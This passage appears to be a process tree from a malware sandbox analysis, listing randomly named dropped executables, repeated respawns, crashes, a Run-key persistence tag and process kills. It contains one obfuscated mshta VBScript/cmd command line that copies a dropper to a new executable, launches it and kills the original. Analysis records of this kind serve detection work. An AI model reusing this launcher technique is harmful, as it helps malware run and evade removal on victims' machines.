C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:3388
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:13736
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:13844
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:9616
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:14172
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:10180
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:15044
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:14852
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:6776
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:7852
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:15668
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:16036
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:8124
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:16072
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:7236
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:5780
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:2156
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:17100
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:18004
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:15764
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:19416
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:19196
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:8408
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:17164
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:10684
-
-
C:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exeC:\Users\Admin\Documents\2IBcHAUYNiNXDnPvyTGDhoHJ.exe9⤵PID:22396
-
-
-
C:\Users\Admin\Documents\Eze8J8b0jrb7LHxi4BR2jrEb.exe"C:\Users\Admin\Documents\Eze8J8b0jrb7LHxi4BR2jrEb.exe"8⤵PID:8056
-
C:\Users\Admin\Documents\Eze8J8b0jrb7LHxi4BR2jrEb.exe"C:\Users\Admin\Documents\Eze8J8b0jrb7LHxi4BR2jrEb.exe"9⤵PID:5624
-
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe"C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe"8⤵PID:7988
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:5316
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:6500
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:7420
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:1104
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:9848
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:6744
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:10348
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:10828
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:7408
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:9688
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:5200
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:6948
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:7768
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:8136
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:11804
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:5940
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:12232
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:12744
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:3136
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:8764
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:14260
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:10716
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:14072
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:9636
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:12076
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:15156
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:7564
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:12076
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:5960
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:9884
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:13384
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:16380
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:14576
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:12232
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:2556
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:17032
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:19288
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:17444
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:14476
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:19396
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:20984
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:12392
-
-
C:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exeC:\Users\Admin\Documents\D0O0DFqF7BBAggtb5S6gHD27.exe9⤵PID:18192
-
-
-
C:\Users\Admin\Documents\9NFXY42JIkvY5DDztZM_IZLr.exe"C:\Users\Admin\Documents\9NFXY42JIkvY5DDztZM_IZLr.exe"8⤵PID:7096
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe"C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe"8⤵PID:8256
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:9148
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:7788
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:9300
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:9236
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:8280
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:10996
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:1596
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:11128
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:10312
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:11020
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:9320
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:11392
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:10392
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:12240
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:11824
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:11728
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:11936
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:12776
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:5320
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:9520
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:13932
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:13432
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:7000
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:8216
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:15244
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:11608
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:12424
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:10108
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:6164
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:9924
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:15676
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:5740
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:16392
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:9884
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:18156
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:19244
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:20448
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:12740
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:17028
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:20120
-
-
C:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exeC:\Users\Admin\Documents\z5C0JCUJw65fdxbzVaix5cbj.exe9⤵PID:16424
-
-
-
C:\Users\Admin\Documents\itvZyGPTP1razPPSJgNkqnXh.exe"C:\Users\Admin\Documents\itvZyGPTP1razPPSJgNkqnXh.exe"8⤵PID:8248
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8248 -s 2769⤵
- Program crash
PID:1040
-
-
-
C:\Users\Admin\Documents\uR7FJyzWGiSq8vWN259id9Qn.exe"C:\Users\Admin\Documents\uR7FJyzWGiSq8vWN259id9Qn.exe"8⤵PID:4848
-
C:\Users\Admin\Documents\uR7FJyzWGiSq8vWN259id9Qn.exe"C:\Users\Admin\Documents\uR7FJyzWGiSq8vWN259id9Qn.exe"9⤵PID:4980
-
-
-
C:\Users\Admin\Documents\VYywch3a1X2G49LnsGAkqc7L.exe"C:\Users\Admin\Documents\VYywch3a1X2G49LnsGAkqc7L.exe"8⤵PID:8228
-
-
C:\Users\Admin\Documents\DnnyMTecNs5YbSEd0ZmbntXM.exe"C:\Users\Admin\Documents\DnnyMTecNs5YbSEd0ZmbntXM.exe"8⤵PID:680
-
-
C:\Users\Admin\Documents\BzJt5e8VwCURB6CB3TWiuVRf.exe"C:\Users\Admin\Documents\BzJt5e8VwCURB6CB3TWiuVRf.exe"8⤵PID:1464
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1464 -s 2769⤵
- Program crash
PID:7468
-
-
-
C:\Users\Admin\Documents\F8o4BL9hAiwoEWiT0b6eeE01.exe"C:\Users\Admin\Documents\F8o4BL9hAiwoEWiT0b6eeE01.exe"8⤵PID:5728
-
-
C:\Users\Admin\Documents\RdmLzTuACwcuF2geJOZ_zDiT.exe"C:\Users\Admin\Documents\RdmLzTuACwcuF2geJOZ_zDiT.exe"8⤵PID:5180
-
-
C:\Users\Admin\Documents\UYhAEfjgBZdqV2IW6wXx21F0.exe"C:\Users\Admin\Documents\UYhAEfjgBZdqV2IW6wXx21F0.exe"8⤵PID:4772
-
C:\Users\Admin\AppData\Roaming\8211336.exe"C:\Users\Admin\AppData\Roaming\8211336.exe"9⤵PID:7604
-
-
C:\Users\Admin\AppData\Roaming\7005090.exe"C:\Users\Admin\AppData\Roaming\7005090.exe"9⤵PID:1728
-
-
C:\Users\Admin\AppData\Roaming\2898745.exe"C:\Users\Admin\AppData\Roaming\2898745.exe"9⤵PID:10912
-
-
C:\Users\Admin\AppData\Roaming\2926855.exe"C:\Users\Admin\AppData\Roaming\2926855.exe"9⤵PID:9312
-
-
C:\Users\Admin\AppData\Roaming\2718660.exe"C:\Users\Admin\AppData\Roaming\2718660.exe"9⤵PID:9788
-
-
-
C:\Users\Admin\Documents\4VZbtd6ShaXzcHz9alI0QP91.exe"C:\Users\Admin\Documents\4VZbtd6ShaXzcHz9alI0QP91.exe"8⤵PID:6128
-
C:\Users\Admin\Documents\4VZbtd6ShaXzcHz9alI0QP91.exe"C:\Users\Admin\Documents\4VZbtd6ShaXzcHz9alI0QP91.exe"9⤵PID:11480
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 11480 -s 128410⤵
- Program crash
PID:8636
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 11480 -s 128410⤵
- Program crash
PID:3224
-
-
-
C:\Users\Admin\Documents\4VZbtd6ShaXzcHz9alI0QP91.exe"C:\Users\Admin\Documents\4VZbtd6ShaXzcHz9alI0QP91.exe"9⤵PID:8396
-
-
-
C:\Users\Admin\Documents\Jha4uQ1ChoqowbnP8ynBsz_E.exe"C:\Users\Admin\Documents\Jha4uQ1ChoqowbnP8ynBsz_E.exe"8⤵PID:7544
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCrIPt: cLOSe( CREAteobjecT ("wScRiPT.ShElL" ).RUN ( "C:\Windows\system32\cmd.exe /C tYpe ""C:\Users\Admin\Documents\Jha4uQ1ChoqowbnP8ynBsz_E.exe"" > IQ0V_Fe_.eXE && StaRt IQ0v_FE_.ExE -poRsuYEMryiLi & if """"== """" for %m in ( ""C:\Users\Admin\Documents\Jha4uQ1ChoqowbnP8ynBsz_E.exe"" ) do taskkill /iM ""%~NXm"" -F" ,0 , TRUE ))9⤵PID:5652
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C tYpe "C:\Users\Admin\Documents\Jha4uQ1ChoqowbnP8ynBsz_E.exe" > IQ0V_Fe_.eXE && StaRt IQ0v_FE_.ExE -poRsuYEMryiLi& if ""== "" for %m in ("C:\Users\Admin\Documents\Jha4uQ1ChoqowbnP8ynBsz_E.exe" ) do taskkill /iM "%~NXm" -F10⤵PID:5424
-
C:\Windows\SysWOW64\taskkill.exetaskkill /iM "Jha4uQ1ChoqowbnP8ynBsz_E.exe" -F11⤵
- Kills process with taskkill
PID:9964
-
-
-
-
-
C:\Users\Admin\Documents\Jzz4fRzeWQtjWcvO2QDT6dmB.exe"C:\Users\Admin\Documents\Jzz4fRzeWQtjWcvO2QDT6dmB.exe"8⤵PID:432
-
C:\Users\Admin\Documents\Jzz4fRzeWQtjWcvO2QDT6dmB.exe"C:\Users\Admin\Documents\Jzz4fRzeWQtjWcvO2QDT6dmB.exe" -u9⤵PID:7220
-
-
-
C:\Users\Admin\Documents\elQqQU7jGtpFrd9TfdkFTbLI.exe"C:\Users\Admin\Documents\elQqQU7jGtpFrd9TfdkFTbLI.exe"8⤵PID:9016
-
-
-
-
-
-
-
-
C:\Users\Admin\Documents\4k1v2cfRFjOEhcczs_W9hwUB.exe"C:\Users\Admin\Documents\4k1v2cfRFjOEhcczs_W9hwUB.exe"2⤵
- Executes dropped EXE
PID:2168 -
C:\Users\Admin\Documents\4k1v2cfRFjOEhcczs_W9hwUB.exe"C:\Users\Admin\Documents\4k1v2cfRFjOEhcczs_W9hwUB.exe" -u3⤵
- Executes dropped EXE
PID:3444
-
-
-
C:\Users\Admin\Documents\bbZGVKHIO8mrJiFxN1KwgUBa.exe"C:\Users\Admin\Documents\bbZGVKHIO8mrJiFxN1KwgUBa.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1512 -
C:\Users\Admin\AppData\Roaming\1333301.exe"C:\Users\Admin\AppData\Roaming\1333301.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5836 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 5836 -s 23404⤵
- Program crash
PID:6364
-
-
-
C:\Users\Admin\AppData\Roaming\2258295.exe"C:\Users\Admin\AppData\Roaming\2258295.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
PID:5968 -
C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"4⤵PID:5440
-
-
-
C:\Users\Admin\AppData\Roaming\3959552.exe"C:\Users\Admin\AppData\Roaming\3959552.exe"3⤵
- Executes dropped EXE
PID:6040
-
-
C:\Users\Admin\AppData\Roaming\7083134.exe"C:\Users\Admin\AppData\Roaming\7083134.exe"3⤵
- Executes dropped EXE
PID:2528
-
-
C:\Users\Admin\AppData\Roaming\3017721.exe"C:\Users\Admin\AppData\Roaming\3017721.exe"3⤵PID:900
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 900 -s 23844⤵
- Program crash
PID:10120
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 900 -s 23844⤵
- Program crash
PID:9972
-
-
-
-
C:\Windows\System32\sihclient.exeC:\Windows\System32\sihclient.exe /cv zA2ULzr83UyG7XtAQi2CBA.0.21⤵
- Modifies data under HKEY_USERS
PID:4308
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BITS1⤵PID:3676
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 852 -ip 8521⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2956
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 2776 -ip 27761⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4136
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 1436 -ip 14361⤵
